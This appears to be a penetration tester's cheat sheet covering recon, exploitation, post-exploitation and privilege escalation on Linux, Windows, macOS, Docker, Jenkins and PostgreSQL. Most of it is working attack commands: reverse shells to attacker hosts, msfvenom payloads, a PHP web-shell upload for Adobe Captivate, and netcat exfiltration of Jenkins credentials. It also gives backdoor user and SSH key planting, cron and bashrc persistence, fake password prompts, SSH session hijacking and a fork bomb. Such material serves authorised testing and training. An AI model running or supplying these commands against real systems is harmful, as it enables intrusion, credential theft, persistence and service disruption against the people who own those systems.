Recon
Nmap
Host discovery via Ping Sweeping
nmap -sn -oA onlineHosts <ip range>/<subnet mask>
-sn
: Use ping scan for host discovery (don't run a port scan)
-oA
: Store output in normal, XML, and grepable file formats
Host discovery while skipping ping checks
Use this when targets don't respond to ping:
nmap -Pn <target ip>
-Pn
: Skips the host discovery phase, and scans all addresses as if the system(s) were alive and responding to pings. -- use when scanning an internet facing system
Resource: https://medium.com/@hakluke/haklukes-guide-to-nmap-port-scanning-is-just-the-beginning-25d971692fdb
Typical methodology
After discovering what hosts are responding, you'll want to know what ports they're exposing:
nmap -sS -p- <target ip>
-sS
: SYN scan. Default choice, faster than TCP connect. Does not complete the three way handshake, making it more stealthy. However, IPS/IDS and firewalls will detect and report a SYN scan.
-p-
: Scan all 65535 ports - shorthand for -p 1-65535
You can follow this with version and OS enumeration:
sudo nmap <target ip> -sV --version-intensity 9 -O
-sV
: Service version detection
--version-intensity
: Used in conjunction with -sV
to help identify running services. The number ranges between 0-9. The higher the number, the more likely a service is to be properly identified. However, higher numbers also make scan times longer. Default number is 7.
Encompass all of the basic port scan behavior
Just use -A
:
sudo nmap -A -p- -v <target ip>
-A
: Enables OS detection, service version detection, script scanning, and traceroute
-v
: Increase verbosity of output
TCP Connect Scan
Full three way handshake, not as fast as SYN scan and noisier. Considered most stable, and has least chance to crash the target.
nmap -sT -p- -Pn <ip address>
-sT
: Run a TCP connect scan
Detailed scan
nmap -T4 -A -v -oA detailedScanResults <ip range>/subnet<mask>
-T4
: Aggressive
-oA
: Store output in normal, XML, and grepable file formats
Single host TCP scan:
nmap -Pn -sS --stats-every 3m --max-retries 1 --max-scan-delay 20 --defeat-rst-ratelimit -T4 -p- -oX <output filename>.xml <target>
Parse all ports out of xml output
Output will be returned as a comma separated list
cat <file>.xml | grep portid | grep protocol=\"tcp\" | cut -d'"' -f4 | paste -sd "," -
Detailed single host TCP scan:
Run this after running the above single host TCP scan.
nmap -nvv -Pn -sSV -T1 -p$(cat <file from single host tcp scan>.xml | grep portid | grep protocol=\"tcp\" | cut -d'"' -f4 | paste -sd "," -) --version-intensity 9 -A -oA <output filename DETAILED> <target>
-n
: No DNS resolution on the IP addresses
-sSV
: SYN scan and service version detection (-s
is used to specify a scan type and the uppercase letters that follow are the parameters)
Single host UDP scan:
nmap -Pn --top-ports 1000 -sU --stats-every 3m --max-retries 1 -T3 -oA <output filename> <target>
-sU
: Discover services using UDP. Very slow, can take 20-30 minutes for 1000 ports.
Resources:
https://hackertarget.com/nmap-cheatsheet-a-quick-reference-guide/
https://unix.stackexchange.com/questions/87935/nmap-sn-scan-or-no-scan
https://blog.zsec.uk/nmap-rtfm/
Eyewitness
Single target as command line arg
Run from docker container, output results to ~/EyeWitness/results
:
docker run --rm -it -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix -v ~/EyeWitness:/tmp/EyeWitness eyewitness --single http://www.google.com --headless
Read targets out of a file
- Put your targets in
~/EyeWitness/urls.txt
- Run the following command:
docker run --rm -it -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix -v ~/eyewitness:/tmp/EyeWitness eyewitness -f /tmp/EyeWitness/urls.txt --headless
- The Results will be in
~/EyeWitness/results
.
Responder
Responder can be a great tool to collect password hashes, and give you a starting point for gaining access to a system on the network.
Here's one such scenario:
https://markitzeroday.com/pass-the-hash/crack-map-exec/2018/03/04/da-from-outside-the-domain.html
Exploitation
Handle multiple reverse nc shells
go get github.com/WangYihang/Platypus
cd go/src/github.com/WangYihang/Platypus
go run platypus.go
To configure the listener to listen on port 8080:
run 0.0.0.0 8080
To list sessions:
list
This will give you a list of current sessions. Each has a unique hash that you need to copy if you want to interact with a given session.
To interact with a session:
jump <hash of session>
interact
To exit a session back to playpus:
exit
Repo of project: https://github.com/WangYihang/Platypus
Reverse shell payload
bash -i >& /dev/tcp/<attack machines ip address>/8080 0>&1
Reverse shell in Scala:
import sys.process._
"nc -e /bin/sh evil.com 8080" !!;
Once you have the shell, run the following for a full fledged shell:
python -c 'import pty;pty.spawn("/bin/bash")'
Some other nice ways to "upgrade" your netcat shell:
https://medium.com/bugbountywriteup/pimp-my-shell-5-ways-to-upgrade-a-netcat-shell-ecd551a180d2
Very helpful resource for testing: https://www.tutorialspoint.com/compile_scala_online.php
Mount NFS share
- Create folder to use for share:
mkdir -p nfs/some_great_share_name
- Install packages needed for debian:
apt install -y nfs-common cifs-utils
- Start services required:
service rpcbind start
- Mount the share:
mount -t nfs <target system with mount ip or hostname>:/some_great_share_name -o rw,nfsvers=2 nfs/some_great_share_name
- Unmount the share when done:
umount nfs/some_great_share_name
Interesting things to try:
-
See if you can edit .profile or .bashrc or .bash_profile, etc. in a users home directory.
-
See if there is an authorized_keys file in any of the users home directories. If so, you might be able to get a backdoor:
find . -name "authorized_keys" 2>/dev/null
Post Exploitation
Linux
Drop backdoor ssh key
- Create an ssh key on the attackers system by following the instructions on this page under Create SSH Key.
- Add the contents of the public key to the victims
~/.ssh/authorized_keys
file (or create one if it doesn't already exist) - If you created an
authorized_keys
file previously, make sure to runchmod 0600 ~/.ssh/authorized_keys
- You can then use the private key to access the target system:
ssh -i /path/to/private/key user@target.com
Bonus points if you're able to do this with a nfs mounted home directory (you'll get a lot more bang for your buck)
Monitor processes
wget https://github.com/DominicBreuker/pspy/releases/download/v1.0.0/pspy32s
chmod +x pspy32s && ./pspy32s
Resource:
https://delta.navisec.io/privilege-escalation/
Take screenshot
# Requires imagemagick
# sudo apt install -y imagemagick
DISPLAY=:0 import -silent -window root /var/tmp/.tmp
Ask for creds
DISPLAY=:0 gksudo -p -m "Enter your password to apply changes."
Resource:
https://youtu.be/kQ5jDzyd_C8
Access a user's env
This is incredibly useful when you find that users are storing credentials in their environment variables.
sudo su - <username>
env
Search for config files which may have cleartext passwords in them:
# This command works on linux and OSX
du -a $directory | awk '{print $2}' | grep '\.conf$'
Netcat reverse shell without -e
Create listener:
nc -lvp [port]
On the victim:
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc [attacker] [port] 1>/tmp/backpipe
Resource: https://pen-testing.sans.org/blog/2013/05/06/netcat-without-e-no-problem/
Transfer file via netcat
On host to receive file:
nc -lvp [some port] > .evil.file
On host to send file
nc -w 3 [host receiving file] [some port] < evil.file
If the file is a reverse shell be sure to make it an executable on the system:
chmod +x .evil.file
Resource: https://nakkaya.com/2009/04/15/using-netcat-for-file-transfers/
Add user with no password to sudoers
user ALL=(ALL:ALL) NOPASSWD:ALL
Resource: https://phpraxis.wordpress.com/2016/09/27/enable-sudo-without-password-in-ubuntudebian/
Introduce backdoor user
# Create evil user
useradd evil -s /bin/bash -m
# Change evil user's password
echo -e "evilpass\nevilpass" | passwd evil
# Add evil user to sudoers
echo 'evil ALL=(ALL:ALL) ALL' >> /etc/sudoers
# Give evil user ssh access
echo -e "PasswordAuthentication yes\nAllowUsers evil" >> /etc/ssh/sshd_config
To delete the backdoored user:
# Delete evil user
userdel evil
# Delete evil user from sudoers
sed -i '/evil ALL=(ALL:ALL) ALL/d' /etc/sudoers
# Delete evil user from ssh access
sed -i '/^PasswordAuthentication yes/d' /etc/ssh/sshd_config && sed -i '/^AllowUsers evil/d' /etc/ssh/sshd_config
Unix-privesc-check
Find misconfigurations, files with open permissions, etc.
Video Reference
Download it:
wget https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/master/upc.sh -O /tmp/upc.sh
-or-
Download and run privesc-check.sh, save output to a file, and clean up (standard):
wget http://pentestmonkey.net/tools/unix-privesc-check/unix-privesc-check-1.4.tar.gz && cd /tmp && tar -xvf unix-privesc-check-1.4.tar.gz && bash /tmp/unix-privesc-check-1.4/unix-privesc-check standard | tee /tmp/output2.txt && rm /tmp/unix-privesc-check-1.4.tar.gz && rm -rf /tmp/unix-privesc-check-1.4
-or-
Download and run privesc-check.sh, save output to a file, and clean up (detailed):
wget http://pentestmonkey.net/tools/unix-privesc-check/unix-privesc-check-1.4.tar.gz && cd /tmp && tar -xvf unix-privesc-check-1.4.tar.gz && bash /tmp/unix-privesc-check-1.4/unix-privesc-check detailed | tee /tmp/output2.txt && rm /tmp/unix-privesc-check-1.4.tar.gz && rm -rf /tmp/unix-privesc-check-1.4
LinEnum
Another good one to find misconfigurations, files with open permissions, etc.
Download it:
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/linenum.sh
-or-
Download and run linenum, save output to a file:
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/linenum.sh && bash /tmp/linenum.sh | tee /tmp/output.txt
Linux Exploit Suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh --no-check-certificate -O /tmp/les.sh && bash /tmp/les.sh | tee /tmp/les.txt &
LinPEAS
Grab it:
curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh
Run it and send the output to a file:
linpeas -a > /dev/shm/linpeas.txt
Linuxprivchecker
Download and run linuxprivchecker.py, save output to a file:
wget https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py --no-check-certificate -O /tmp/lpc.py && python /tmp/lpc.py | tee /tmp/output1.txt
If there are services running as privileged user, try to find existing exploits.
Good linux post exploitation resources
This is a fantastic cheatsheet with a number of privesc resources:
https://chryzsh.gitbooks.io/pentestbook/privilege_escalation_-_linux.html
https://www.youtube.com/watch?v=oYHAi0cgur4
https://payatu.com/guide-linux-privilege-escalation/
https://www.rebootuser.com/?p=1623
Who has logged in previously?
who, w, last -F
Are you in the sudoers file?
sudo -l, cat /etc/sudoers
Get network information, like open ports and their associated processes:
netstat -antup
lsof -i
Find programs with root privs:
find / -perm -04000 > programsWithRootAccess.txt
Screenshot the targets screen when you're ssh'ed into a system:
DISPLAY=:0 import -window root screenshot.jpg
Resource: https://github.com/jmatt-io/ANL-CDC/blob/master/ubuntu_ftp_secure.sh
SUID Executables
Look for SUID files:
find / -perm -u=s -type f 2>/dev/null
https://pentestlab.blog/2017/09/25/suid-executables/
https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/
Windows
Ask for creds
$credential = $host.ui.PromptForCredential("Credentials Required", "Please enter your username and password.", "$env:username","NetBiosUserName")
$credential.Password | ConvertFrom-SecureString
$env:username
$credential.GetNetworkCredential().password
Resource:
https://youtu.be/kQ5jDzyd_C8
Cheatsheets
https://github.com/emilyanncr/Windows-Post-Exploitation
Meterpreter specific:
https://www.coengoedegebure.com/hacking-windows-with-meterpreter/
Cracking hashes
Identify what type of hash it is with Hash ID. Once you've done this, crack it with hashcat, john, etc.
For cracking hashes in /etc/shadow
https://www.cyberciti.biz/faq/understanding-etcshadow-file/
Resource: https://www.youtube.com/watch?v=CuBX3sBeGSw
Hashcat cheatsheet
https://www.dropbox.com/s/kdklrowv683yq1a/HashcatCheatSheet.v2018.1b (2).pdf?dl=0
Using john with an SSH key that has a pw
Use ssh2john.py
to take the private key and use it to create a format that john can use:
# Assuming we are in the current directory for John
./run/ssh2john.py privateKey > john_ssh_fmt.txt
./run/john john_ssh_fmt.txt --wordlist=wordlist_to_use_for_pw.txt
Resource: https://youtu.be/58-145bvu_8?t=445
Lateral Movement
Hijacking SSH with Master Mode
Copy this into ~/.ssh/config
for a given compromised user:
Host *
ControlMaster auto
ControlPath ~/.ssh/sockets/ssh-%r@%h:%p
ControlPersist yes
Also run this command:
mkdir ~/.ssh/sockets
Now you simply need to wait for the compromised user to ssh to another host. Once this happens, you should be able to ssh to that system without a password as that user.
Resources
Docker
Exposed Docker Daemon via TCP
If you find port 2375 open on a system, that means that someone probably ran a command like this one:
docker run -it --name=please_do_not_do_this -H tcp://0.0.0.0:2375 ubuntu
Which means that you can try to run arbitrary docker commands:
docker -H tcp://<ip of target>:2375 <docker command>
For example, to list the containers on that system:
docker -H tcp://<ip of target>:2375 ps -a
To connect to an existing container:
docker -H tcp://<ip of target>:2375 exec -it <target container> /bin/bash
To create and run a container with the host's root volume mounted:
docker -H tcp://<ip of target>:2375 run --rm -it -v /:/host ubuntu:latest chroot /host /bin/bash
To avoid having to load up a new image (assuming ubuntu:latest
isn't already installed), use docker -H tcp://<ip of target>:2375 image ls
to find an existing image to use.
Docker Daemon exposed to other containers
Even if the docker daemon is only exposed to other other containers, you can still take advantage of it if you compromise a container.
This vulnerability is introduced by running a command like this one:
docker run -it --name=really_freaking_vulnerable_ubuntu -v /var/run/docker.sock:/var/run/docker.sock ubuntu
To test it:
# Check if you have write access:
ls -lart /var/run/docker.sock
srw-rw---- 1 root root 0 May 6 05:25 /var/run/docker.sock
Install docker:
# Ubuntu or Debian
apt update && apt install -y wget && wget -qO- https://get.docker.com | sh
Once that's installed, find an image to use with docker images
, or use something simple like ubuntu:latest
:
docker run -it -v /:/host <docker image to use> chroot /host /bin/bash
Alternatively, you can use the docker socket to avoid installing docker:
# Get images
curl --unix-socket /var/run/docker.sock http://docker/images/json
# Get containers
curl --unix-socket /var/run/docker.sock http://docker/containers/json
Proof of concept for exploitation: https://gitlab.com/Creased/docker-shadow/tree/master
However, this will still need to be done as the root user.
Resources
https://gitlab.com/Creased/vulnhub-docker-writeup
https://www.lvh.io/posts/dont-expose-the-docker-socket-not-even-to-a-container.html
https://www.youtube.com/watch?v=GeEW-e4LaT4&list=PLbZzXF2qC3RuL2K7KQVHe0aqdXbZC9Lnz&index=4
https://forums.docker.com/t/api-via-socket-returns-page-not-found/24682/5
https://stackoverflow.com/questions/26561963/how-to-detect-a-docker-daemon-port
Find secrets in images
Run this to get output from the original Dockerfile
:
docker history --no-trunc <image name>
You can check the output for secrets that were in it.
Resource: https://stackoverflow.com/questions/48716536/how-to-show-a-dockerfile-of-image-docker
Miscellaneous
Test out of bound code execution with tcpdump
Use this:
tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -vv
in conjuction with a ping command.
Enable ssh on Kali
In /etc/ssh/sshd_config
change PermitRootLogin without-password
to PermitRootLogin yes
Resource: https://www.drchaos.com/enable-ssh-on-kali-linux-enable-ssh-on-kali-linux/
Command line vnc viewer on kali
vncviewer [target]::[vnc port]
Crash system as normal user with fork bomb
forkbomb(){ forkbomb | forkbomb & }; forkbomb
Resource: https://linuxconfig.org/how-to-crash-your-linux-system-with-fork-bomb
Getting a shell on a PostgreSQL DB running on Linux if you have the proper access and permissions
Start by setting up a listener:
nc -lvp 8080
Connect to the postgresql DB:
psql -h <ip with db> -U <db username>
Review the access your user has with the \du command. Alternatively, you can go in blind and run a quick test (or run a test after you've established you have the proper access and permissions to do so):
CREATE OR REPLACE FUNCTION exec() RETURNS text AS $BODY$ BEGIN DROP TABLE IF EXISTS bDGhLsYPcd; CREATE TEMP TABLE bDGhLsYPcd (INPUT TEXT); COPY bDGhLsYPcd FROM PROGRAM 'pwd'; RETURN NULL; END; $BODY$ LANGUAGE plpgsql; SELECT * FROM exec(); SELECT * FROM bDGhLsYPcd;
This should give you the working directory the database is running on if all went well.
Next, get your reverse shell loaded up:
CREATE OR REPLACE FUNCTION exec() RETURNS text AS $BODY$ BEGIN DROP TABLE IF EXISTS bDGhLsYPcd; CREATE TEMP TABLE bDGhLsYPcd (INPUT TEXT); COPY bDGhLsYPcd FROM PROGRAM 'echo "bash -i >& /dev/tcp/<attack machines ip address>/8080 0>&1" >> /tmp/unfriendly.sh'; RETURN NULL; END; $BODY$ LANGUAGE plpgsql; SELECT * FROM exec(); SELECT * FROM bDGhLsYPcd;
Execute it:
CREATE OR REPLACE FUNCTION exec() RETURNS text AS $BODY$ BEGIN DROP TABLE IF EXISTS bDGhLsYPcd; CREATE TEMP TABLE bDGhLsYPcd (INPUT TEXT); COPY bDGhLsYPcd FROM PROGRAM 'bash /tmp/unfriendly.sh'; RETURN NULL; END; $BODY$ LANGUAGE plpgsql; SELECT * FROM exec(); SELECT * FROM bDGhLsYPcd;
You should have your shell.
Getting around "su: must be run from a terminal"
python -c 'import pty;pty.spawn("/bin/bash")'
Getting a shell on a Jenkins box running on Linux or OS X with access to the groovy console
Start by setting up a listener:
nc -lvp 8080
Set up a webserver using nginx, XAMPP, etc. and host a payload that could look something like this:
bash -i >& /dev/tcp/<attackers ip>/8080 0>&1
Download your reverse shell payload:
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = "curl http://<attackers ip>/unfriendly.sh --output /tmp/shell".execute()
# You could also use wget
# def proc = "wget http://<attackers ip>/unfriendly.sh -O /tmp/shell".execute()
# Use --proxy=off with wget if your proxy is messing with your ability to get that code
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
Make sure your payload is on the target system:
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = "ls /tmp".execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
Run the payload:
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = "bash /tmp/shell".execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
You should have your shell.
If /script is not accessible, but /computer is
- Go to one of the listed nodes
- Select one of the projects
- Click Script Console on the left
Jenkins on Windows
Shout out to Nick Georgieff for figuring this one out.
Quick test on the groovy console:
println '"'powershell -command "ls"'.execute().text
Once you've verified that is working, switch gears to get a meterpreter session going.
To setup the handler, start by creating an rc file so you don't need to type the commands into msfconsole every time to interact with your payload.
Create the file:
touch windows_rev_powershell_listener.rc
In windows_rev_powershell_listener.rc
:
use exploit/multi/handler
set PAYLOAD cmd/windows/reverse_powershell
set LHOST <host running metasploit>
set LPORT 445
set ExitOnSession false
exploit -j -z
Run the rc file:
msfconsole -r windows_rev_powershell_listener.rc
Connect to handler from the groovy console:
String host="<host running metasploit>";
int port=445;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
At this point, you should have a meterpreter session.
Stealing credentials from Jenkins
- Locate the credentials file:
find / -name "credentials.xml" 2>/dev/null
- Find a password in the file and copy it.
In the groovy console:
println(hudson.util.Secret.decrypt("<password>"))
Resource:
https://www.dropbox.com/s/5j1n4ltm630gcyn/DeadDropOct26_Slides.pdf?dl=0
Alternatively, you can also use https://github.com/cheetz/jenkins-decrypt after pulling down the master.key
, hudson.util.Secret
, and credentials.xml
file.
Exfil the files via cli
On the victim, run:
nc -w3 [attacker IP] 5000 < credentials.xml
On the attacker:
nc -l -p 5000 > credentials.xml
Do this for the rest of the files (master.key
, hudson.util.Secret
)
Resource:
https://www.n00py.io/2017/01/compromising-jenkins-and-extracting-credentials/
Stealing creds via Job Import plugin
- If you see Job Import Plugin in the web UI, click it.
- If you have the Job/Create permission, you should be able to specify a Remote Jenkins URL and a credential
- Specify your system as the remote jenkins url, i.e. http://192.168.1.2:8080
- Choose the credential you want to steal
- Open a listener on the attacker's system:
nc -lvp 8080
- Decode output for credentials that comes from the Authorization header:
cat <base64 output> | base64 --decode
Jenkins Post Exploitation
If you get a shell on a jenkins system, be sure to check if there is a /jobs
folder in the jenkins directory. If so, be sure to go through the various subfolders and steal any config.xml
files with a <passsword>
field. You can use the same trick as above to decrypt the credentials, replacing the credentials.xml
with config.xml
.
Metasploit
Run exploit in the background:
exploit -j
Do not interact with a session after successful exploitation of a target:
exploit -z
You can combine them:
exploit -j -z
Persist listener if a meterpreter session dies:
set ExitOnSession false
MSFVenom
http://www.securityunlocked.com/2016/01/02/network-security-pentesting/most-useful-msfvenom-payloads/
http://netsec.ws/?p=331
OSX
msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=4444 -f macho > notEvil.macho
RC Script:
use exploit/multi/handler
set PAYLOAD osx/x64/meterpreter_reverse_tcp
set LHOST <Your IP Address>
set LPORT 4444
set ExitOnSession false
exploit -j -z
Resource: https://github.com/Snifer/security-cheatsheets/blob/master/msfvenom
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
To persist the file once you've uploaded it to your target in ~/.bashrc
:
echo "~/.evil.file &" >> ~/.bashrc
For good measure, throw up a cronjob for every 5 minutes as well:
# write out current crontab
crontab -l > mycron
# echo new cron into cron file
echo "*/5 * * * * ~/.evil.file" >> mycron
# install new cron file
crontab mycron
rm mycron
Create and run listener
Create linux_rev.rc
file:
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST [listener ip]
set ExitOnSession false
exploit -j -z
Run it:
msfconsole -r linux_rev.rc
64-bit exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<local host ip> LPORT=4444 -f exe -o evil.exe
exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<local host ip> LPORT=445 -f exe -o friendly.exe
exe-service
Useful when you need a running service, like for unquoted service path vulnerabilities.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<local host ip> LPORT=445 -f exe-service -o friendly.exe
PHP Reverse shell payload
msfvenom -p php/meterpreter/reverse_tcp LHOST=<local host ip> LPORT=4444 -e php/base64 -f raw > evil_file.php && sed -i '1s/^/<?php\n/' evil_file.php && sed -i -e '$a\?>' evil_file.php
Non MSF PHP reverse shell
php -r '$sock=fsockopen("ATTACKER_IP",ATTACKER_PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
Resource: https://w00troot.blogspot.com/2017/05/getting-reverse-shell-from-web-shell.html
PHP bind payload
msfvenom -p php/meterpreter/bind_tcp LPORT=4444 > msf_bind_shell.php
After starting the listener, upload the php code to the target server. Be sure to replace the /*<?php /**/
with <?php
at the top of the file, and replace the %
at the end of the file with ?>
.
Once the file is uploaded, open the file on the target server. Follow this with an exploit
in metasploit.
Evil encoded x64 aspx shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<local host ip> LPORT=4444 -e x64/xor -f aspx > shell64.aspx
Jar reverse shell
msfvenom -p java/meterpreter/reverse_tcp LHOST=<local host ip> -f raw -o /tmp/java.jar
Start listener:
msfconsole
use exploit/multi/handler
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST <local host ip>
set ExitOnSession false
exploit -j -z
Resources
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://hackernoon.com/reverse-shell-cf154dfee6bd
Powershell payload
msfvenom -p cmd/windows/reverse_powershell LHOST=<local host ip> LPORT=445 -o friendly.bat
Start listener:
msfconsole
use exploit/multi/handler
set PAYLOAD cmd/windows/reverse_powershell
set LHOST <local host ip>
set LPORT 445
set ExitOnSession false
exploit -j -z
Copy the evil code:
# On the linux machine
cat friendly.bat
Start powershell on victim:
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe
Paste the evil code into the powershell terminal, or create a .bat file and run it.
Bash Reverse shell
exec 5<>/dev/tcp/<evil ip>/4444;cat <&5 | while read line; do $line 2>&5 >&5; done
Another similar option:
exec 5<>/dev/tcp/<evil ip>/4444;while read line 0<&5; do $line 2>&5 >&5; done
Basic:
bash -i >& /dev/tcp/<evil ip>/4444 0>&1
Netcat reverse shell
On evil server: nc -lvp <port>
On victim: nc <evil server> <port> -e sh &
Resource: docker start -ai
Create RC Listener
You can create an rc file so you don't need to type the commands into msfconsole every time to interact with your payload.
Create the file:
touch listener.rc
In listener.rc:
use exploit/multi/handler
set payload <payload>
set LHOST <host running metasploit>
set LPORT <port>
set ExitOnSession false
exploit -j -z
Run the rc file:
msfconsole -r listener.rc
Capture NTLM Hash with Metasploit
Start the smb capture server:
use auxiliary/server/capture/smb
run
Get victim to connect via smb.
If they need help via phish and they're on a mac, have them open Finder, Command+k, and then type in the following:
smb://<evil server ip>
Making Firefox horribly insecure for quick and dirty proof of concepts
- Browse to
about:config
- Type in security.file
- Double click
security.fileuri.strict_origin_policy
This will disable the same origin policy blocks.
- Browse to
about:config
- Type in security.file
- Double click
security.insecure_field_warning.contextual.enabled
This will disable the "this connection is not secure" messages.
- Browse to
about:config
- Type in mixed
- Double click
security.mixed_content.block_active_content
This will disable the block active content lock.
Obviously you want to undo these changes once you've finished your POC's.
Find logs on a linux system
find . -type f -name "*.log"
Adobe Captivate Quiz Reporting Feature 'internalServerReporting.php' File Upload RCE Webshell
Using Burp, intercept a GET request to the target and throw it into repeater. Next, right click and Change request method to POST.
Here's what the request should look like:
POST /internalServerReporting.php HTTP/1.1
Host: <target running adobe captivate>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, sdch
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 201
CompanyName=.&DepartmentName=.&CourseName=.&Filename=test.php&Filedata=<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd =($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
Once you've sent it and gotten a 200 back, you can access the web shell like so:
http://<target running adobe captivate>/CaptivateResults/test.php?cmd=<your command to run>
Don't forget to clean it up when you're done:
http://<target running adobe captivate>/CaptivateResults/test.php?cmd=del test.php
With Metasploit:
https://hydrasky.com/network-security/create-a-web-backdoor-payload-with-metasploit/
Create the payload:
msfvenom -p php/meterpreter/bind_tcp LPORT=4000 > backdoor.php
In php_listener.rc:
use exploit/multi/handler
set payload <payload>
set LHOST <host running metasploit>
set LPORT 4444
Run the rc file:
msfconsole -r php_listener.rc
Upload the php code to the target server. I made sure to replace the /*<?php /**/
with <?php
at the top of the file, and replaced the %
at the end of the file with a ?>
before doing so with Burp repeater.
Once the file is uploaded, open the file on the target server. Follow this with an exploit
in metasploit.
You should have a shell at this point.
Maybe give this a shot https://dl.packetstormsecurity.net/papers/attack/root3.pdf
Windows
A couple of things to try below.
# whoami
echo %USERDOMAIN%\%USERNAME%
# create user && add to Administrators
net user <username> <password> /ADD
net localgroup Administrators <username> /ADD
# list local admins
net localgroup administrators
# Look for passwords in txt, xml && xls files
findstr /si password *.txt| *.xml| *.xls
# Show open ports
netstat -bano
# Get list of domain admins
net group "Domain Admins" /domain
Enumerate missing patches on a windows machine with msf
post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester
Check for weak service permissions with accesschk (part of sysinternals)
Information on how to download sysinternals using powershell can be found here.
accesschk.exe -qwcu "Authenticated Users" * /accepteula
accesschk.exe -qwcu "Users" * /accepteula
accesschk.exe -qwcu "Everyone" * /accepteula
Once one has been found, modify the binpath to point to the net user bin to create a rogue user:
sc config <vuln service> binpath= "net user <username> <password> /add"
Restart it:
sc start <vuln service>
Add that user to the administrators group:
sc config <vuln service> binpath= "net localgroup administrators <username> /add"
Restart it again:
sc start <vuln service>
Check for weak file permissions with accesschk (part of sysinternals)
Information on how to download sysinternals using powershell can be found here.
accesschk.exe -qwsu "Authenticated Users" * /accepteula
accesschk.exe -qwsu "Users" * /accepteula
accesschk.exe -qwsu "Everyone" * /accepteula
Always install elevated privilege escalation
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Use metasploit if they set to exploit:
use exploit/windows/local/always_install_elevated
set LPORT 443
exploit
Use sessiongopher to find saved session info for RAT's
Grab it:
(New-Object System.Net.WebClient).DownloadFile("https://github.com/fireeye/SessionGopher/blob/master/SessionGopher.ps1","C:\Temp\SessionGopher.ps1")
Run it:
Import-Module .\SessionGopher.ps1
Invoke-SessionGopher -Thorough
Ghetto Windows WGET using cmd
bitsadmin /transfer myDownloadJob /download /priority normal http://<evil server>/evil.exe c:\temp\evil.exe
Upload stuff to a Windows machine via RDP
http://haacked.com/archive/2010/05/18/remote-desktop-file-copy.aspx/
Kali terminal:
rdesktop -r disk:ww=/path/to/folder/to/mount targetsystem.com
Empire
Launch the docker container:
# Create a volume to store empire data in
docker create -v /opt/Empire --name data empireproject/empire
# Run the empire container
docker run -ti --volumes-from data -p <host ip>:80:80 empireproject/empire
Resource: http://blog.obscuritylabs.com/docker-command-controll-c2/
Create a listener:
listeners
uselistener http
Resource: http://ethicalhackingblog.com/hacking-powershell-empire-2-0/
POC creation
Coldfusion resources
https://nets.ec/Coldfusion_hacking
http://breenmachine.blogspot.com/2013/03/cool-coldfusion-post-exploitation.html
https://github.com/reider-roque/pentest-tools/blob/master/shells/webshell.cfm
Resources
https://netsec.ws/?p=331
https://trustfoundry.net/practical-guide-to-exploiting-the-unquoted-service-path-vulnerability-in-windows/
https://www.gracefulsecurity.com/privesc-unquoted-service-path/
https://www.youtube.com/watch?v=PC_iMqiuIRQ
http://thepcn3rd.blogspot.com/2015/03/utilizing-powerupps1-to-escalate.html
https://twitter.com/1njected/status/875701296325697536
OSX
Reverse shell
Setup Listener:
nc -lvp 8888
Connect from OSX:
bash -i >& /dev/tcp/*attacker ip*/8888 0&>1
Setting up cloud cracking machine with Kali
https://www.kali.org/news/cloud-cracking-with-cuda-gpu/
Fix kali apt update issue
If apt-key adv --keyserver hkp://keys.gnupg.net --recv-keys 7D8D0BF6
isn't doing it, try wget -q -O - https://archive.kali.org/archive-key.asc | apt-key add
Resources:
https://forums.kali.org/showthread.php?38858-apt-get-update-GPG-error-key-expired
